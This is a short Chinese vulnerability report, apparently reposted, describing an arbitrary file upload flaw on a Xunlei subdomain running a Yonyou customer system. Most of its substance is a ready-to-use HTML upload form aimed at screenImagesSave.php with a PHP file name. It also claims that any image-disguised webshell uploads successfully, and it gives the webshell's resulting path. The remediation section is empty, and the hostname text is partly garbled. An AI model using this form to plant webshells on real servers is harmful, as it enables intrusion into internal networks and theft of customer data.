迅雷某分站或可造成内网被渗透 - 网站安全 - 自

http://icc.xunlei测试数据/5107/chat/chat.php 使用用友的客户系统，存在较多上传 漏洞 。由于服务器在内网，加上权限较大。或造成内部网络被 渗透 。数万客户资料同时泄露。   <form enctype="multipart/form-data" method="post" action="http://icc.xunlei测试数据/5107/upload/screenImagesSave.php?filename=php.php"> <input type="file" name="file"> <input type="submit" name="up" value="上传"> </form>   上传任意图片木马，即可正常上传成功。木马路径为： http://icc.xunlei测试数据/data/files/20120506/php.php (20120506 当前日期)   看图吧：   漏洞证明：       修复方案： 内网。。。 作者 kobin97

查看更多关于迅雷某分站或可造成内网被渗透 - 网站安全 - 自的详细内容...